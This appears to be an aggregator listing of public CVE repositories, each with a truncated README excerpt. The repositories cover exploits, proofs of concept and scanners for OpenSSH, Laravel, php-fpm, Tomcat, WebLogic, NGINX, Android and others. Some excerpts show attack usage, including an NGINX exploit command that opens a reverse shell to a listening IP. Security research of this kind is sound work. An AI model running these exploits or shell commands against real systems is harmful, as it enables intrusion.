CVE-2023-25136

OpenSSH Vulnerability Testing Tool for CVE-2023-25136 This repository provides a Proof of Concept PoC for testing the CVE-2023-25136 vulnerability in OpenSSH versions 9.0 and 9.1. The vulnerability allows for potential security risks and this tool helps identify if a server is running a vulnerabl...

CallStranger

CallStranger This script created by Yunus Çadırcı https://twitter.com/yunuscadirci to check against CallStranger CVE-2020-12695 vulnerability. An attacker can use this vulnerability for: Bypassing DLP for exfiltrating data Using millions of Internet-facing UPnP device as source of amplified...

Laravel-CVE-2021-3129

Laravel-CVE-2021-3129 CVE-2021-3129 Description Integrates https://github.com/zhzyker/CVE-2021-3129 and https://github.com/SNCKER/CVE-2021-3129. This project has the following advantages: Retains custom command functionality New: automatically exit after successful exploitation, improving...

phuip-fpizdam

PHuiP-FPizdaM 这是什么 这是 php-fpm 中一个漏洞（CVE-2019-11043）的利用程序。在某些 nginx + php-fpm 配置下，该漏洞可从外部触发。这意味着如果你的配置存在风险（参见下方），则 Web 用户可能获得代码执行权限。 技术分析 虽然我们懒得写分析文章，但 Orange Tsai 在他的博客中发布了一篇完美的分析。向他致敬。 另外，我在 ZeroNights 2019 的幻灯片在此提供。 什么情况会受影响 如果 Web 服务器运行 nginx + php-fpm，并且 nginx 的配置类似于： root@kitploit: location...

CVE-2018-15473-Exploit

CVE-2018-15473-Exploit On August 15th, 2018, the following advisory was posted on the OSS-Security list: http://openwall.com/lists/oss-security/2018/08/15/5 The ShelIntel team decided to invest some time and write an exploit for this vulnerability. The exploit below has the following features:...

Ghostcat-CNVD-2020-10487

Ghostcat exp for CNVD-2020-10487CVE-2020-1938 tomcat ajp协议任意属性设置导致的文件读取和文件执行。 漏洞分析 代码仅供安全测试，请勿用于非法用途,造成的后果使用者负责与本人无关！！！ root@kitploit: python3 ajpShooter.py -h /\ / \ | | | //\ | | ' \ \ | ' \ / \ / | / \ '| / | | | | \ \ | | | | | || / | / // | ./ /| ||/ / \|| |/|| 00theway,just for test...

westone-CVE-2021-21980-scanner

westone-CVE-2021-21980-scanner VMware vCenter earlier versions 7.0.2.00100 has unauthorized arbitrary file read + ssrf + xss vulnerability Installation & Usage git clone https://github.com/Osyanina/westone-CVE-2021-21980-scanner.git cd westone-CVE-2021-21980-scanner cmd CVE-2021-21980.exe...

weblogicScanner

source: https://github.com/rabbitmask/WeblogicScan weblogicScaner 简体中文 | English As of November 27, 2020, weblogic Vulnerability Scanning Tool. If there is an unrecorded and open POC vulnerability, please submit issue. Some bug fixes were made, some POC did not take effect, or configuration error...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-Remote-Code-Execution cve-2018-1133 moodle athenticated as teacher remote code execution...

CVE-2019-7839

This repository does not have a README...

-create-a-vulnerable-Docker-environment-that-is-susceptible-to-CVE-2023-30212

create a vulnerable Docker environment that is susceptible to CVE 2023-30212 Description Docker environment and exploit the CVE-2023-30212 vulnerabilityVE-2023-30212 is a security vulnerability that affects versions of OURPHP prior to or equal to 7.2.0. This vulnerability allows for Cross-Site...

lua_CVE-2020-24370_AfterPatch

Lua 5.3 readme blockquote, .display border: solid a0a0a0 2px ; border-radius: 8px ; padding: 1em ; margin: 0px ; .display word-spacing: 0.25em ; dl.display dd padding-bottom: 0.2em ; tt, kbd, code font-size: 12pt ; Welcome to Lua 5.3 about · installation · changes · license · reference manual Abo...

CVE-2026-1814

This repository does not have a README...

CVE

Security Research Public vulnerability reports by JunZ-Leo. Published CVE reports Both records below are published in the CVE List and credit JunzLeo VulDB User as the reporter. They were published on April 28, 2025...

cve-2026-43499-firetv-sheldonp-writeup

CVE-2026-43499 on Amazon Fire TV Stick 3rd Gen sheldonp Chaining a Linux kernel privilege escalation into a preloader downgrade and bootloader unlock. Overview This repository documents my authorized reproduction of the CVE-2026-43499 exploitation chain on an Amazon Fire TV Stick 3rd Gen sheldonp...

apple-positional-audio-codec-invalid-header

Proof-of-concept for the CoreAudio patch CVE-2025-31200 in iOS 18.4.1. Write-up here https://blog.noahhw.dev/posts/cve-2025-31200/. Update 05/27/2025 I have been able to push this to a controlled if not arbitrary write. The writeup is coming soon. In order to see for yourself though, you'll have ...

dasel-hardened-container

dasel v3.3.1 hardened container This is a melange package and apko container image for dasel v3.3.1 with a build-time patch for CVE-2026-33320 unbounded YAML alias expansion. The image is built entirely from a locally-produced APK - no prebuilt upstream image is used. Prerequisites...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

cve-2026-42945-scan

cve-2026-42945-scan Static scanner for NGINX configuration files that detects the rewrite/set pattern associated with CVE-2026-42945. The scanner parses NGINX configs with crossplane, walks location blocks, and prints every location that looks affected in this format: root@kitploit: //xxx.conf: -...

CVE-2024-31317-PoC

CVE-2024-31317 漏洞概念验证 CVE-2024-31317 Proof of Concept 本仓库包含针对Android系统的CVE-2024-31317漏洞的概念验证脚本集合。 This repository contains a collection of Proof of Concept scripts for the CVE-2024-31317 vulnerability in Android systems. 脚本说明 Script Description CVE-2024-31317-android11-.sh: 针对Android 11以下设备的漏洞利用脚...